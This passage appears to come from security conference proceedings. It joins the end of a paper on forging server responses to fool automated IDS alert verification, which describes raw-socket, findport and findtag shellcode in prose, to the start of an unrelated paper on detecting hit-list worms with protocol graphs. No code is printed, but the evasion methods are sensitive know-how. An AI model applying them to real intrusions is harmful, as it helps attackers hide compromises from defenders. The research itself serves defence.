Not only was this experiment designed to determine the differences in server 
responses between vulnerable and patched servers, but also designed to establish the 
universality of these responses and therefore the applicability of the server response 
forging attack.  All tested exploits targeted vulnerabilities in applications compiled 
and installed separately after the initial operating system installation; however, even 
though all operating systems were running the same applications, they were not all 
susceptible to the exploit.  Table 4 shows the variety of Linux distributions and 
versions tested and their corresponding vulnerability to the four exploits. 

Table 4. Operating System Vulnerability  (Y = vulnerable, N = not vulnerable) 

 O.S. Samba (nttrans) Mailutils PoPToP Samba (trans2open) 
Red Hat 7.3 Y Y Y Y 
Fedora Core 2 N N N N 
SuSE 9.3 Y Y N Y 
Mandrake 9.1 Y Y Y Y 
Mandrake 10.2 N N N N 
Ubuntu 4.10 Y N Y Y 
Ubuntu 5.04 Y N N N 
Ubuntu 6.06 N N N N 
Debian 3.0 Y N N N 
Debian 3.1 Y N N Y 
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The differences in vulnerability may be explained by different memory management 
techniques or advances in buffer overflow protection.  Buffer overflow attacks rely on 
overwriting the return address with an address pointing back into the buffer on the stack.  
This type of attack may fail when the buffer is stored in a different memory location 
because it makes the buffer address on the stack harder to guess.  It could be the exploits 
are only designed to brute-force the memory locations where specific operating systems 
typically place the buffer on the stack.  Another possibility is the push for more secure 
operating systems which have incorporated protections against buffer overflow attacks.  
There are several buffer overflow prevention mechanisms for operating systems 
including making stacks non-executable and replacing some library calls with safe 
versions of the same calls [30]. 
 

Server Response Summary. Server response forging is a valuable attack against an 
overwhelmed NIDS analyst using an automated verification mechanism to determine 
the success of an attack.  As noted previously, verification systems sometimes resolve 
alerts by simply looking for the appropriate server response, typically generated by 
patched servers.  This technique opens up the possibility of forging.  Successful 
forging requires:  1) the messages generated by a patched server must be different 
than that of a vulnerable server, otherwise, the two events would be indistinguishable 
and the analyst would not rely on the server response as a method for determining the 
success of an exploit; 2) the response from a patched server must be constant or 
predictable.  This condition enables the correct and expected server response to be 
passed along with the exploit; and 3) successful forging requires that a vulnerable 
server does not provide extra information indicating it has been exploited (e.g., 
automatically sending a RST of FIN packet to close the connection).  While a server 
response may still be forged, this contradicting evidence may be enough to cause an 
analyst to investigate further. 

With the above guidelines in mind, server response forging seems to be a potential 
attack against two of the four exploits.  The two Samba exploits meet all the 
requirements: the vulnerable and patched server responses are different, the server 
response is constant, and, finally, the vulnerable server does not respond with any 
uncontrollable information which indicates that the server has been exploited.  To 
forge a patched server response, the samba_nttrans exploit must generate an SMB 
error message and then close the connection with a RST packet.  The trans2root 
exploit would similarly need to send an SMB error message and close the connection 
with using a RST packet instead of a normal FIN-ACK response. 

The other two exploits, Mailutils and PoPToP, are not good candidates for the 
forged server response attack.  After a vulnerable server is compromised using the 
mailutils exploit, it returns several erroneous IMAP responses.  In the test cases 
above, these IMAP responses occurred before the ping request which means they 
were automatically generated before the shellcode executed and spawned the ping 
request.  If these messages are automatically generated by a vulnerable server, then an 
automated verification mechanism will see these messages and investigate the system 
despite the fact that it sees the appropriate response later.  The PoPToP exploit faces a 
similar problem.  Immediately after the server is exploited, it closes the connection 
using a FIN-ACK packet.  The exploit then executes the shellcode, but this does not 
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leave the shellcode with the opportunity to generate the appropriate patched server 
response which is closing the connection using a RST.  Again the verification 
mechanism will see the vulnerable server response and most likely alert the analyst to 
investigate the intrusion. 

Server response testing is necessary to determine if an exploit can be used with this 
type of forgery attack.  The conditions must be just right, but as this experimentation 
shows, it is not an impossible set of requirements to meet.  Half of the tested exploits 
appear to be compatible with server response forging, and this research did not 
consider web vulnerabilities which have been shown to be very susceptible to forged 
server responses [16].  With testing for the applicability of this attack complete and 
successful, the next step is developing forging techniques. 

4.2   Server Response Forging 

The previous section presented the requirements for forging a packet.  This section 
examines the details and implementations of three different forging methods 
developed during the research and experimentation phases. 
 

Raw Socket. The first method for forging a packet begins by creating a new socket.  
To send a message, the shellcode must have a socket file descriptor on which to send 
out the message.  A simple way to obtain this socket file descriptor is by creating one.  
The Linux kernel contains a socket library which has a simple socket constructor.  
This constructor creates a raw socket capable of sending out raw datagrams.  This is 
an important feature because the shellcode must create a custom datagram capable of 
forging the server response. 

Network packets consist of header information and a payload.  The payload is the 
message to be sent which in this case is a forged response.  Packets subdivide the header 
information between the different protocol layers.  Typical internet traffic consists of an 
Ethernet header, IP protocol header and, in most cases, a TCP protocol header.  The most 
important header is the TCP header which contains packet flags, the acknowledgement 
number, the sequence number, and the destination and source ports.  Some of the port 
numbers should be known ahead of time and the checksum can be calculated, but the 
other information is much harder to determine.  A TCP session is usually initialized with 
a random sequence number to make session hijacking more difficult; however, if the 
attacker knows the initial numbers, subsequent numbers are predictable.  If the forged 
server response uses an inaccurate sequence or acknowledgement number, the IDS or 
firewall may flag or drop the packet.  Therefore, the attacker must either determine the 
sequence numbers from the first few packets of the exploit and estimate the correct 
sequence and acknowledgement numbers during runtime or make some risky 
assumptions ahead of time.   

Creating a raw datagram and modifying the header information requires additional 
Linux libraries which offer direct access to these data structures.  The ability to forge a 
server response using raw sockets is enabled by using the C programming language.  The 
shellcode will generate a forged message from one host to another.  The source and 
destination address including port numbers are dynamic along with the forged message.  
This particular example generates a shellcode of over 900 bytes; however, the length 
could be shortened drastically if it were implemented in assembly language and 
optimized. 
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The raw socket method of forging a server response has advantages and 
disadvantages.  One benefit is that it does not require a currently established network 
connection.  This shellcode does not require a connection to be open, but it may be 
difficult to calculate the sequence number, and it may appear strange that a server 
response was sent after the connection was closed.  The raw socket creation also 
allows the modification of TCP header information.  This is quite useful when the 
server response is a TCP packet with the RST flag.  The primary drawback of this 
method is the overall size of the payload.  The extra function calls and header 
modification increase the total shellcode length, which can be extremely burdensome 
if more than one packet is required to forge the server response.  In the end, this 
approach has its advantages but the increased size might be too much of a hindrance, 
especially with buffer overflow exploits that have limited space for the overflow. 

 
Findport. The second method for forging a server response reuses a previously 
existing socket.  Reusing a socket means that the shellcode saves time and space by 
not creating one.  While some exploits cause a network connection to close 
immediately, other exploits cause the connection to remain open until the shellcode 
has executed.  With the exploit leaving the current network connection open, the 
shellcode should be able to find this open socket file descriptor and reuse it to send 
back information to the client machine.   

The findsock shellcode locates the current connection by looping through all the 
socket file descriptors and analyzing the peer associated with each socket by calling 
getpeername().  Each socket has an associated peer which is represented as an address 
structure.  This structure contains the IP address along with the port number.  In this 
instance, the shellcode examines each peer and compares the port associated with 
each address to a hardcoded port determined by the attacker ahead of time.   

The shellcode uses an interrupt to access the system call table instead of making 
function calls which require libraries to be included.  The code increments through 
each socket, compares the port number in each address structure to the hardcoded port 
of the attacker, and finally returns the corresponding socket file descriptor to be used 
later when forging the response.     

The message string is created by using a calling scheme which pushes the next 
address onto the stack.  Usually this is the address of the next instruction, but in this 
case it is the address of the forged message string.  Next, the function parameters of 
send are pushed onto the stack and then the stack pointer is moved to the third 
parameter to the system call table interrupt.  Again, the shellcode uses interrupts 
instead of library function calls to send the packet.  The final step pushes the index 
corresponding to a socket call and then causes an interrupt to trigger the system call 
table. 

This technique was implemented using assembly language as this allows for the 
highest degree of optimization.  The final shellcode has a payload of 54 bytes plus the 
length of the forged message.  However, a payload must be encoded before it is used 
in an exploit.  This process adds additional bytes causing a payload forging a message 
of 8 bytes to be 86 bytes instead of the original size of 62 bytes.  The byte code 
generated from the original shellcode was converted into a new payload for the 
Metasploit framework. 



270 A.D. Todd et al. 

The findport technique for forging is fairly simple and has a relatively small 
payload size.  It reuses an existing network connection which may allow it to pass 
through firewalls unnoticed.  Firewalls can be triggered when new outbound 
connections are created.  It can also send more than one response quite easily.  Once 
the socket descriptor is located, sending messages is relatively simple and does not 
require much space beyond that of the additional message.  One of the drawbacks to 
this technique is that it requires the network connection to remain open.  Another 
disadvantage of this method is that it will not work with network address translation, 
proxies, or any other devices the obscure the port of the original client.  A final 
weakness is the inability to set TCP flags which is a necessity for some of the server 
responses.  Nevertheless, this approach works well when size is a factor or there is a 
need to send back multiple messages. 

 
Findtag.  The second technique to find and reuse a socket is known in the Metasploit 
Framework as findrecv. This method attempts to find the current connection 
associated with the exploit by reading from the receive buffer of every socket.  For 
this technique to work, the attacker must send an additional packet after the exploit.  
This packet contains a tag and helps the shellcode find the correct socket. 

This findtag strategy loops through all the socket file descriptors and uses the 
socket function recv() to determine if there are any more bytes to read from the 
network buffer. If so, the payload reads them in and compares them to the 
predetermined tag.  If the tag matches, the correct socket is found and can be reused 
to send back the forged server response. 

The shellcode stores the socket descriptor and increments through all the possible 
sockets.  The receive function is called using a system interrupt and the result is 
stored on the stack.  If the first 4 bytes of this string match the hardcoded tag, then the 
correct socket file descriptor has been found.  After the shellcode has a socket to use, 
it creates a message and sends it out. 

Again, this technique was implemented using assembly language.  The resulting 
shellcode is 57 bytes in addition to the length of the forged server response. Again, 
the byte code must be encoded before it can be sent as the payload of an exploit.  
Using the default encoder of the Metasploit Framework, a payload with an 8 byte 
server response is 90 bytes. The shellcode was converted to byte code and 
transformed into a new Metasploit framework payload. 

This server response forging technique is similar to findport.  It shares some of the 
same advantages and disadvantages, but there are also differences.  It remains a 
relatively simple and small payload. It still can pass through firewalls relatively 
unnoticed because it does not create a new socket but uses a pre-established 
connection instead. Findtag can send multiple messages without a significant increase 
in size. In addition to these advantages, this shellcode can also find the correct 
network connection even through proxies and network address translation. It can 
accomplish this because it is not concerned with the peer information which is 
obscured. This approach, however, still requires an open socket and still cannot 
modify TCP header flags. The findtag approach also depends on the correct socket 
having the correct information remaining in the network buffer. This requirement 
presents a couple problems. First, there is a timing issue. The attacker must send the 
information long enough after the original exploit so it is not read in along with the 
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exploit, but it must also be sent before the shellcode attempts to read the network 
buffer.  Another concern is that the shellcode loop might read in data from other 
sockets which could cause errors or faults elsewhere in the system. 
 
Response Forging Summary.  Response forging must be accomplished through 
socket creation or reuse.  The previous section discussed the implementation of socket 
creation and two forms of socket reuse.  Other methods were considered, but those 
methods were only slight variations of the already proposed ideas.  Each of the three 
implementations was shown to be effective, and each had its own set of advantages 
and disadvantages. 

Findport and findtag have a relatively small size, but are incapable of modifying 
TCP headers.  This means that neither of these techniques can generate a RST packet 
required to forge some server responses.  Findport and findtag are not effective 
against the two exploits shown to be susceptible to server response forging in these 
experiments: samba_nttrans and trans2root. 

The raw socket method was rather large, but allows for greater control over the 
server response including the ability to set the TCP flags.  This means that it can 
create an RST packet which is part of the forged server response for both 
samba_nttrans and trans2root.  However, both of these exploits require an SMB error 
message to be sent before closing the connection with a RST.  This additional 
message means that the raw socket payload will be very large; possibly too large.  
The samba_nttrans has a maximum payload size of 1024 bytes, while the trans2root 
exploit is limited to 734 bytes [31]. 

4.3   Intrusion Detection Enhancement 

This new form of IDS evasion brings with it complications for the current method of 
intrusion detection and alert verification.  In the past, IDS improvements have focused 
on adjusting rules and implementations to detect new attacks and evasion techniques.  
This new evasion tactic is not concerned with detection.  The goal of this attack is to 
fool the verification process into believing the attack was unsuccessful and make the 
forged server responses indistinguishable from those of actual patched servers.  This 
section examines several adaptations that can be made to the current intrusion 
detection process which may allow detection of these new attacks. 
 

Payload Analysis.  The first method analyzes the payload of the attack.  Every attack 
can be divided into the exploit and payload, and every payload can be broken down 
into a NOP sled, shellcode and return address.  This new evasion technique includes 
additional shellcode which forges a server response.  These modifications may be 
enough for an automated process to detect this attack. 

If an IDS can extract the payload, then it might be possible to analyze the payload and 
determine its behavior; however, several factors stand in the way of analyzing a payload.  
Attackers encode payloads before sending them, so before an IDS can examine the 
original payload, it must be decoded and the shellcode must be separated from the NOP 
sled and return addresses.  The next pitfall when interpreting the effects of a specific 
shellcode is obfuscation.  Modern attacks use code obfuscation and polymorphism to 
make reverse engineering and signature analysis nearly impossible [32]. There are 
techniques for dealing with obfuscated code, but these take considerable time and 



272 A.D. Todd et al. 

expertise. All of these requirements make decoding a payload burdensome and 
impractical. 

Payload size analysis is an alternative measure which IDSs may undertake to 
determine the effects of a payload.  Previous research has shown that anomalous 
behavior may be determined by simply inspecting the size of packets [33].  Subsequent 
research suggests identifying the type of attack based on payload size [16].  This research 
has found that only payloads with a certain size are capable of generating a forged 
response; however, it is more accurate to say that only shellcodes of a sufficient size can 
generate forged responses.  In this experiment, the size of the buffer overflow payloads 
were unaffected by the type of shellcode used.  The payloads were a constant size 
determined by the constraints of the specific buffer overflow exploit.  The shellcodes 
capable of forging server responses are larger than most simple shellcodes; however, this 
only means that there are fewer NOPs at the beginning of the payload.  Therefore, 
payload size analysis really becomes shellcode size analysis and faces similar, decoding 
hurdles as payload code analysis discussed above. 
 

Catalog Vulnerabilities and Responses.  Another possible solution to this attack 
involves cataloging vulnerabilities and their responses.  While this research examined 
a small subset of the Linux vulnerabilities, general patterns still emerged.  Three 
characteristics necessary for a vulnerability to be susceptible to server response 
forging were outlined above.  This included a constant patched-server response which 
differs from a vulnerable-server response and a lack of evidence suggesting an exploit 
has occurred.  The process of analyzing every vulnerability to determine if it meets 
the criteria for this attack would be time consuming, but it may also provide the 
verification process with valuable information. 
 

Analyst Awareness.  This type of evasion attack exemplifies the importance of 
analysis and verification in the overall intrusion detection process.  Improved analyst 
awareness may be the most effective defense against such an attack.  Automated alert 
verification may alleviate some of the burden for the analyst, but it also incurs new 
vulnerabilities.  Increasing the contextual awareness of these devices may help.  
System configurations and patch levels must be collected and monitored on all 
networked machines.  This data collection will be time consuming and difficult for 
large organizations; however, NIDSs would then be able to compare the vulnerability 
information with the detected attack to determine the success of the intrusion. 

Ultimately, the responsibility for network security and intrusion detection comes down 
to the person behind the systems.  Automated alert verification may help with handling 
the overwhelming task of sorting through alerts, but it is most likely not the “holy grail” 
of intrusion detection.  System administrators and security personnel must be aware of 
new attacks and stay current on their training.  The field of intrusion detection is 
extremely important and constantly changing, and the people behind the machines must 
remain aware of new advances and make sure their systems are not at risk. 

5   Conclusions 

This research examined the final step in intrusion detection, alert verification, as a 
source of vulnerability.  Previous studies concluded that alert verification relies on 
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server responses to determine the success of an attack, and this research has shown 
that these server responses may be forged within the Linux environment.  This type of 
attack ignores the technical aspect of detection and simply tries to evade the analysis 
and verification process.  Server responses cannot be used as a trusted method for 
analyzing attacks.  Analysis is an important part of intrusion detection and the 
security of corporate and government networks.  These new evasion techniques mean 
current network defense strategies and IDSs must be reevaluated and improved. 

6   Future Work 

This research has exposed a vulnerability in the intrusion detection process.  Now 
evasion techniques not only target the technical aspects of intrusion detection but also 
the verification part.  Research experiments have shown two of four vulnerabilities to 
be susceptible and provided shellcodes capable of exploiting these weaknesses.  This 
work has opened some avenues for future work including: 

1. Increasing the scope of tested exploits and Linux distributions. 
2. Generating a catalog of all the server responses to aid in forging and/or detection. 
3. Identifying other flaws in the intrusion detection process, possibly also involving 

the human analyst. 
4. Adapting current intrusion detection methodology to account for these attacks and 

other weaknesses in the analysis portion of the process. 
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Abstract. We present a novel method for detecting hit-list worms using
protocol graphs. In a protocol graph, a vertex represents a single IP ad-
dress, and an edge represents communications between those addresses
using a specific protocol (e.g., HTTP). We show that the protocol graphs
of four diverse and representative protocols (HTTP, FTP, SMTP, and
Oracle), as constructed from monitoring for fixed durations on a large in-
tercontinental network, exhibit stable graph sizes and largest connected
component sizes. Moreover, we demonstrate that worm propagations,
even of a sophisticated hit-list variety in which the attacker has advance
knowledge of his targets and always connects successfully, perturb these
properties. We demonstrate that these properties can be monitored very
efficiently even in very large networks, giving rise to a viable and novel
approach for worm detection. We also demonstrate extensions by which
the attacking hosts (bots) can be identified with high accuracy.

Keywords: Graph analysis, Anomaly detection, Large networks.

1 Introduction

Large numbers of Internet worms have prompted researchers to develop a variety
of anomaly-based approaches to detect these attacks. Examples include moni-
toring the number of failed connection attempts by a host (e.g., [5,16,27]), or
the connection rate of a host to new targets (e.g., [24,19,17]). These systems are
designed to detect abnormally frequent connections and often rely on evidence
of connection failure, such as half-open TCP connections. To avoid detection by
these systems, an attacker can use a hit list [20] generated previous to the attack
or generated by another party [3]. An attacker using an accurate hit list contacts
only targets known to be running an accessible server, and therefore will not trig-
ger an alarm predicated on connection failure. By constraining the number of
attack connections initiated by each attacker-controlled bot, the attacker could
compromise targets while evading detection by most (if not all) techniques that
monitor the behavior of individual hosts or rely on connection failures.
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In this paper, we propose a new detection method, based on monitoring pro-
tocol graphs. A protocol graph is a representation of a traffic log for a single
protocol. In this graph, the vertices represent the IP addresses used as clients
or servers for a particular protocol (e.g., FTP), and the edges represent com-
munication between those addresses. We expect that a protocol graph will have
properties that derive from its underlying protocol’s design and use. For exam-
ple, we expect that since Oracle communications require password authentication
and HTTP interactions do not, a protocol graph representing Oracle will have
more connected components than a protocol graph representing HTTP, though
the HTTP graph’s connected components will likely be larger.

Our detection approach focuses on two graph properties: the number of ver-
tices comprising the graph (“graph size”) and the number of vertices in the
largest connected component of the graph (“largest component size”) for traffic
logs collected in a fixed duration. We hypothesize that while an attacker may
have a hit list identifying servers within a network, he will not have accurate
information about the activity or audience for those servers. As a consequence,
a hit-list attack will either artificially inflate the number of vertices in a pro-
tocol graph, or it will connect disjoint components, resulting in a greater than
expected largest component size.

To test this, we examine protocol graphs generated from traffic of several com-
mon protocols as observed in a large (larger than a /8) network. Specifically, we
examine HTTP, SMTP, Oracle and FTP. Using this data, we confirm that pro-
tocol graphs for these protocols have predictable graph and largest component
sizes. We then inject synthetic hit-list attacks into the network, launched from
one or more attacker-controlled bots, to determine if these attacks detectably
modify either graph size or largest component size of the observed protocol
graphs. The results of our study indicate that monitoring graph size and partic-
ularly largest component size is an effective means of hit-list worm detection for
a wide range of attack parameters and protocols. For example, if tuned to yield
one false alarm per day, our techniques reliably detect aggressive hit-list attacks
and detect even moderate hit-list attacks with regularity, whether from one or
many attacker-controlled bots.

Once an alarm is raised, an important component of diagnosis is determining
which of the vertices in the graph represent bots. We show how to use protocol
graphs to achieve this by measuring the number of connected components re-
sulting from the removal of high-degree vertices in the graph. We demonstrate
through extensions to our analysis that we can identify bots with a high degree
of accuracy for FTP, SMTP and HTTP, and with somewhat less (though still
useful) accuracy for Oracle. We also show that our bot identification accuracy
exceeds what can be achieved by examining vertex degree alone.

While there are many conceivable measures of a protocol graph that might
be useful for detecting worms, any such measure must be efficient to monitor if
detection is to occur in near-real-time. The graph size and largest component
size are very advantageous in this respect, in that they admit very efficient com-
putation via well-known union-find algorithms (see [7]). A union-find algorithm
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implements a collection of disjoint sets of elements supporting two operations:
two sets in the collection can be merged (union), and the set containing a partic-
ular element can be located (find). In our application, the elements of sets are
IP addresses, and the sets are the connected components of the protocol graph.
As such, when a new communication record is observed, the set containing each
endpoint is located (two find operations) and, if these two sets are distinct,
they can be merged (a union operation). Using well-known techniques, commu-
nication records can be processed in amortized time that is effectively a small
constant per communication record, and in space proportional to the number of
IP addresses observed. By comparison, detection approaches that track connec-
tion rates to new targets (e.g., [24,17]) require space proportional to the number
of unique connections observed, which can far exceed the number of unique IP
addresses observed. While our attacker identification that is performed following
an alarm incurs costs similar to these prior techniques, we emphasize that it can
be proceed simultaneously with reactive defenses being deployed and so need
not be as time-critical as detection itself.

To summarize, the contributions of our paper include (i) defining protocol
graphs and detailing their use as a hit-list attack detection technique; (ii) demon-
strating through trace-driven analysis on a large network that this technique is
effective for detecting hit-list attacks; (iii) extending protocol graph analysis to
infer the locations of bots when hit-list worms are detected; and (iv) describing
efficient algorithms by which worm detection and bot identification can be per-
formed, in particular with detection being even more efficient than techniques
that focus on localized behavior of hosts.

Our paper proceeds as follows. Section 2 summarizes previous relevant work.
Section 3 describes protocol graphs and the data we use in our analysis. Sec-
tion 4 examines the size of graphs and their largest components under normal
circumstances, and introduces our anomaly detection technique. In Section 5, we
test our technique through simulated hit-list attacks. We extend our approach
to identify attackers in Section 6. Section 7 addresses implementation issues.
Section 8 summarizes our results and discusses ongoing and future research.

2 Previous Work

Several intrusion-detection and protocol-identification systems have used graph-
based communication models. Numerous visualization tools (e.g., [12,26,25])
present various attributes of communication graphs for visual inspection. Stan-
iford et al.’s GrIDS system [21] generates graphs describing communications
between IP addresses or more abstract entities within a network, such as the
computers comprising a department. A more recent implementation of this ap-
proach by Ellis et al. [6] has been used for worm detection. Karagiannis at
al. [9] develop a graphical traffic profiling system called BLINC for identifying
applications from their traffic. Stolfo et al.’s [22] Email Mining Toolkit devel-
ops graphical representations of email communications and uses them to detect
email viruses and worms.
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In all of these cases, the systems detect (or pesent data to a human to detect)
phenomena of interest based primarily on localized (e.g., per-vertex or vertex
neighborhood) properties of the graph. GrIDS generates rules describing how
internal departments or organizations communicate, and can develop thresh-
old rules (e.g., “trigger an alarm if the vertex has degree more than 20”). Ellis’
approach uses combinations of link predicates to identify a host’s behavior. Kara-
giannis’ approach expresses these same communications using subgraph models
called graphlets. Stolfo et al.’s approach identifies cliques per user, to whom the
user has been observed sending the same email, and flags emails that span mul-
tiple cliques as potentially containing a virus or worm. In comparison to these
efforts, our work focuses on aggregate graph behavior (graph size and largest
component size) as opposed to localized properties of the graph or individual
vertices. Moreover, some of these approaches utilize more protocol semantics
(e.g., the event of sending an email to multiple users [22], or the expected com-
munication patters of an application [9]) that we do not consider here in the
interest of both generality and efficiency.

Several empirical studies have attempted to map out the structure of ap-
plication networks. Such studies of which we are aware have been conducted
by actively crawling the application network in a depth- or breadth-first man-
ner, starting from some seed set of known participants. For example, Broder et
al. [4] studied web interconnectivity by characterizing the links between pages.
Ripeanu et al. [14] and Saroiu et al. [15] similarly conducted such studies of
Gnutella and BitTorrent, respectively. Pouwelse et al. [13] use a similar probe
and crawl approach to identify BitTorrent networks over an 8-month period.
Our work differs from these in that our techniques are purely passive and are
assembled (and evaluated) for the purpose of worm detection.

Our protocol graphs are more closely related to the call graphs studied by
Aiello et al. [2] in the context of the AT&T voice network. In a call graph, each
vertex represents a phone number and each (directed) edge denotes a call placed
from one vertex to another. Aiello et al. observe that the size of the largest
connected component of observed call graphs is Θ(|V |), where V denotes the
vertices of the graph. These call graphs are similar to our protocol graphs, the
primary differences being that call graphs are directed (the protocol graphs we
study are undirected) and that they are used to characterize a different domain
(telephony, versus data networks here). However, Aiello et al. studied call graphs
to understand their basic structure, but not with attention to worm detection
(and in fact we are unaware of worms in that domain).

3 Preliminaries

In this section, we investigate the construction and composition of protocol
graphs. Protocol graphs are generated from traffic logs; our analyses use CISCO
Netflow, but graphs can also be constructed using tcpdump data or server logs.
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This section is structured as follows. Section 3.1 describes the construction
of protocol graphs and our notation for describing them and their properties.
Section 3.2 describes our source data.

3.1 Protocol Graphs

We consider a log file (set) Λ = {λ1, . . . , λn} of traffic records. Each record λ has
fields for IP addresses, namely source address λ.sip and destination address λ.dip.
In addition, λ.server denotes the address of the server in the protocol interaction
(λ.server ∈ {λ.sip, λ.dip}), though we emphasize that we require λ.server only
for evaluation purposes; it is not used in our detection or attacker identification
mechanisms.

Given Λ, we define an undirected graph G(Λ) = 〈V (Λ), E(Λ)〉, where

V (Λ) =
⋃

λ∈Λ

{λ.sip, λ.dip} E(Λ) =
⋃

λ∈Λ

{(λ.sip, λ.dip)}

The largest connected component of a graph G(Λ) is denoted C(Λ) ⊆ V (Λ).
Note that by construction, G(Λ) has no connected component of size one (i.e.,
an isolated vertex); all components are of size two or greater.1

We denote by Λπ a log file that is recorded during the interval π ⊆ [00:00GMT,
23:59GMT] on some specified date. We define Vdur

Π and Cdur
Π to be random vari-

ables of which |V (Λπ)| and |C(Λπ)|, for logs Λπ collected in dur-length time
intervals π ⊆ Π , are observations. For example, in the following sections we
will focus on Π = [00:00GMT, 11:59GMT] (denoted am) and Π = [12:00GMT,
23:59GMT] (denoted pm), and take |V (Λπ)| and |C(Λπ)| with π ⊆ am of length
60 seconds (s) as an observation of V60s

am and C60s
am , respectively. We denote the

mean and standard deviation of Vdur
Π by μ(Vdur

Π ) and σ(Vdur
Π ), respectively, and

similarly for Cdur
Π .

3.2 Data Set

The source data for these analyses are CISCO Netflow traffic summaries collected
on a large (larger than a /8) ISP network. We use collectors at the border of
the network’s autonomous intranets in order to record the internal and cross
border network activity. Therefore, all protocol participants that communicate
between intranets or with the Internet are observed. Netflow reports flow logs,
where a flow is a sequence of packets with the same addressing information that
are closely related in time. Flow data is a compact summary of network traffic
and therefore useful for maintaining records of traffic across large networks.

Flow data does not include payload information, and as a result we identify
protocol traffic by using port numbers. Given a flow record, we convert it to a
log record λ of the type we need by setting λ.server to the IP address that has
the corresponding service port; e.g., in a flow involving ports 80 and 3946, the

1 It is possible for various logging mechanisms, under specific circumstances, to record
a flow from a host to itself. We eliminate those records for this work.
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protocol is assumed to be HTTP and the server is the IP address using port 80.
Protocol graphs constructed using log files with payload could look for banners
within the payload to identify services.

The protocols used for analysis are listed below.

– HTTP: The HTTP dataset consists of traffic where the source or destination
port is port 80 and the other port is ephemeral (≥ 1024). HTTP is the most
active protocol on the monitored network, comprising approximately 50% of
the total number of bytes crossing the network during the workday.

– SMTP: SMTP consists of TCP traffic where the source or destination port
is port 25 and the other port is ephemeral. After HTTP, SMTP is the most
active protocol on the monitored network, comprising approximately 30% of
the total number of bytes.

– Oracle: The Oracle dataset consists of traffic where one port is 1521 and
the other port is ephemeral. While Oracle traffic is a fraction of HTTP and
SMTP traffic, it is a business-critical application. More importantly, Oracle
connections are password-protected and we expect that as a consequence
any single user will have access to a limited number of Oracle servers.

– FTP: The FTP dataset consists of records where one port is either 20 or
21, and the other port is ephemeral. While FTP provides password-based
authentication, public FTP servers are still available.

We study these protocols due to their diversity in patterns of activity; e.g., we
expect an individual web client to contact multiple web servers, but we expect
an individual Oracle client to contact far fewer Oracle servers. That said, this list
does not include all protocols that we would like to analyze. A notable omission
is peer-to-peer file sharing protocols; we omit these since the monitored network
blocks all ports commonly associated with peer-to-peer file-sharing applications
(BitTorrent, eDonkey, Kazaa, etc.).

4 Building a Hit-List Worm Detector

In this section we describe the general behavior of protocol graphs over time,
and show that the distributions of Vdur

Π and Cdur
Π can be satisfactorily modeled

as normal for appropriate choices of Π and dur (Section 4.1). The parameters
of these distributions change as a function of the protocol (HTTP, SMTP, FTP,
Oracle), the interval in which logging occurs (Π), and the duration of log col-
lection (dur). Nevertheless, in all cases the graph and largest component sizes
are normally distributed, which enables us to postulate a detection mechanism
for hit-list worms and estimate the false alarm rate for any detection threshold
(Section 4.2).

4.1 Graph Behavior over Time

Figure 1 is a plot of the observed values of |V (Λπ)| and |C(Λπ)| for Oracle traf-
fic on the monitored network for Monday, March 5th, 2007. Each logging interval
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Fig. 1. Oracle traffic on March 5, 2007; start time of π is on x-axis; dur = 60s
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Fig. 2. Distributions for Oracle over March 12–16, 2007, fitted to normal distributions

π begins at a time indicated on the x-axis, and continues for dur = 60s. Traffic
between servers internal to the monitored network and their clients (internal
or external to the monitored network) was recorded. Plots including external
servers show the same business-cycle dependencies and stability. However, we
ignore external servers because the vantage point of our monitored network will
not allow us to see an external attack on an external server.

Figure 1(a) is plotted logarithmically due to the anomalous activity visible
after 18:00GMT. At this time, multiple bots scanned the monitored network for
Oracle servers. These types of disruptive events are common to all the training
data; we identify and eliminate these scans using Jung et al.’s sequential hy-
pothesis testing method [8]. In this method, scanners are identified when they
attempt to connect to servers that are not present within the targeted network.
This method will not succeed against hit-list attackers, as a hit-list attacker will
only communicate with servers that are present on the network. Figure 1(b)–(c)
is a plot of the same activity after the scan events are removed: Figure 1(b) plots
|V (Λπ)|, while Figure 1(c) plots |C(Λπ)|.

Once scans are removed from the traffic logs, the distribution of traffic can
be satisfactorily modeled with normal distributions. More precisely, we divide
the day into two intervals, namely am = [00:00GMT, 11:59GMT] and pm =
[12:00GMT, 23:59GMT]. For each protocol we consider, we define random vari-
ables V60s

am and V60s
pm , of which the points on the left and right halves of Figure 1(b)

are observations for Oracle, respectively. Similarly, we define random variables
C60s

am and C60s
pm , of which the points on the left and right halves of Figure 1(c)

are observations, respectively. By taking such observations from all of March
12–16, 2007 for each of V60s

am , V60s
pm , C60s

am and C60s
pm , we fit a normal distribution to
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each effectively; see Figure 2.2 On the left half of Figure 1(b), we plot μ(V60s
am )

as a horizontal line and t σ(V60s
am ) as error bars with t = 3.5. We do similarly

with μ(V60s
pm ) and t σ(V60s

pm ) on the right half, and with μ(C60s
am ) and t σ(C60s

am ) and
μ(C60s

pm ) and t σ(C60s
pm ) on the left and right halves of Figure 1(c), respectively.

The choice of t = 3.5 will be justified below.
In exactly the same way, we additionally fit normal distributions to V30s

am ,
C30s

am , V30s
pm , and C30s

pm for each protocol, with equally good results. And, of course,
we could have selected finer-granularity intervals than half-days (am and pm),
resulting in more precise means and standard deviations on, e.g., an hourly basis.
Indeed, the tails on the distributions of V60s

am and C60s
am in Figure 2 are a result of

the coarse granularity of our chosen intervals, owing to the increase in activity
at 07:00GMT (see Figure 1(b)). We elect to not refine our am and pm intervals
here, however, for presentational convenience.

4.2 Detection and the False Alarm Rate

Our detection system is a simple hypothesis testing system; the null hypothesis
is that an observed log file Λ does not include a worm propagation. Recall from
Section 4.1 that for a fixed interval Π ∈ {am, pm}, graph size Vdur

Π and largest
component size Cdur

Π normally distributed with mean and standard deviation
μ(Vdur

Π ) and σ(Cdur
Π ), respectively. As such, for a dur-length period π ⊆ Π , we

raise an alarm for a protocol graph G(Λπ) = 〈V (Λπ), E(Λπ)〉 if either of the
following conditions holds:

|V (Λπ)| > μ(Vdur
Π ) + t σ(Vdur

Π ) (1)
|C(Λπ)| > μ(Cdur

Π ) + t σ(Cdur
Π ) (2)

Recall that for a normally distributed random variable X with mean μ(X ) and
standard deviation σ(X ),

Pr[X ≤ x] =
1
2

[
1 + erf

(
x − μ(X )
σ(X )

√
2

)]

where erf(·) is the “error function” [10]. This enables us to compute the contribu-
tion of condition (1) to the false rejection (alarm) rate frr for a given threshold
t as 1 − Pr[Vdur

Π ≤ μ(Vdur
Π ) + t σ(Vdur

Π )], and similarly for the contribution of
condition (2) to frr. Conversely, since erf−1(·) exists, given a desired frr we can
compute a threshold t so that our frr is not exceeded:

t =
√

2 erf−1

(
1
2

− frr
2

)
